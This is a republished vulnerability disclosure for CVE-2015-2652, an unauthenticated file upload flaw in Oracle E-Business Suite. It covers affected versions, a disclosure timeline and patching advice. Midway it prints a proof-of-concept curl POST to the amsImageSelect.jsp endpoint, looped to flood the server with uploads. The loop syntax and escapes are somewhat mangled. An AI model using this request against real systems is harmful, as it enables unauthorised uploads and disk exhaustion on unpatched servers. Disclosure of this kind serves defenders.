HackDig : Dig high-quality web security articles for hacker

CVE-2015-2652 – Unauthenticated File Upload in Oracle E-business Suite.

2015-07-15 11:20

During my regular penetration testing job, I unravelled an interesting vulnerability of Unauthenticated File Upload in Oracle E-business Suite 0-day vulnerability. This particular Upload Bug can be easily used to upload files on the web-server and also an attacker can flood the hard-disk of the server,thus making it easier for an attacker to leverage the vulnerability remotely.

Oracle released Critical Patch Update containing security fixes for the Oracle E-Business Suite. This vulnerability is remotely exploitable without requiring any kind of authentication , i.e. exploited over the network without the need for any valid username credentials.


Oracle EBusiness Suite is a fully integrated, comprehensive suite of business applications for the enterprise. Following purposes most of organization uses Oracle E-business.

  1. Customer Relationship Management
  2. Financial Management
  3. Human Capital Management
  4. Project Portfolio Management
  5. Advanced Procurement
  6. Supply Chain Management
  7. Service Management

Vulnerable Version

Oracle E-Business Suite, version(s), 12.0.6, 12.1.1, 12.1.2, 12.1.3, 12.2.3, 12.2.4

Brief About bug

The unauthenticated upload vulnerability resides in Oracle Marketing component.  If you search in Google for Oracle E-business, you will find more than 30K unique search results.

The file is uploaded into a table in the E-Business Suite database schema.  The attacker,however, can use it to fill up the existing table space. Upload functionality allows the attacker to upload any arbitrary file types(All executables) and also allows to execute the uploaded code.

POC Raw code for feeding files files to server to :

for ($x=1; $x < 100; $x++):
curl -i -s -k  -X 'POST' 
    -H 'Origin: http://Oracle-Application:Port' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywS9xiTn7rP23Fori' -H 'Referer: http://Oracle-Application:Port/OA_HTML/amsImageSelect.jsp' 
    -b 'JSESSIONID=6e66b3f234234234272c18909d2bca0c96bf7c.kdsnfksjdfn34rk32; PROD_pses=PROD%3DHcqumhXKzuUX0xNEIjoeFKu8hZ%7E; PROD=HcqumhXKzuUX0xNEIjoeFKu8hZ; oracle.uix=0^^GMT+4:00^p' 
    --data-binary $'------WebKitFormBoundarywS9xiTn7rP23Forix0dx0aContent-Disposition: form-data; name="type"x0dx0ax0dx0aFx0dx0a------WebKitFormBoundarywS9xiTn7rP23Forix0dx0aContent-Disposition: form-data; name="FileInput"; filename="Check.txt"x0dx0aContent-Type: text/plainx0dx0ax0dx0ax0dx0a------WebKitFormBoundarywS9xiTn7rP23Forix0dx0aContent-Disposition: form-data; name="fileId"x0dx0ax0dx0anullx0dx0a------WebKitFormBoundarywS9xiTn7rP23Forix0dx0aContent-Disposition: form-data; name="url"x0dx0ax0dx0ax0dx0a------WebKitFormBoundarywS9xiTn7rP23Fori--x0dx0a' 
end for;

Vulnerability Information

By using the following URLs the attacker can use it to upload files on the server.



Oracle E-business-vulnerabilityFor the security reasons we are not releasing uploaded file path.


May 7, 2015 :  Identification of the vulnerability

May 8, 2015 :  Reported to the Oracle Security Team

May 12, 2015: Confirmed Upload Vulnerability in Oracle E-business

May 22, 2015 :Upload Vulnerability Patched
May 22, 2015 : CPU Scheduled for Critical Update
July 13, 2015 : CVE Allocated CVE-2015-2652
July 14, 2015 : Critical Update Pushed
July 15, 2015 : Vulnerability Made Public


Update Oracle E-business Suit to latest version.

Oracle vulnerability reference and vulnerability credit: Oracle Critical Patch Update Advisory – July 2015


Source: /etius-ssenisub-e-elcaro-ni-daolpu-elif-detacitnehtuanu-2562-5102-evc/ten.7reyaleruces.golb

“CVE-2015-2652 – Unauthenticated File Upload in Oracle E-business Suite.”0 Comments

Submit A Comment



Blog :

Verification Code:


Share high-quality web security related articles with you:)


Tag Cloud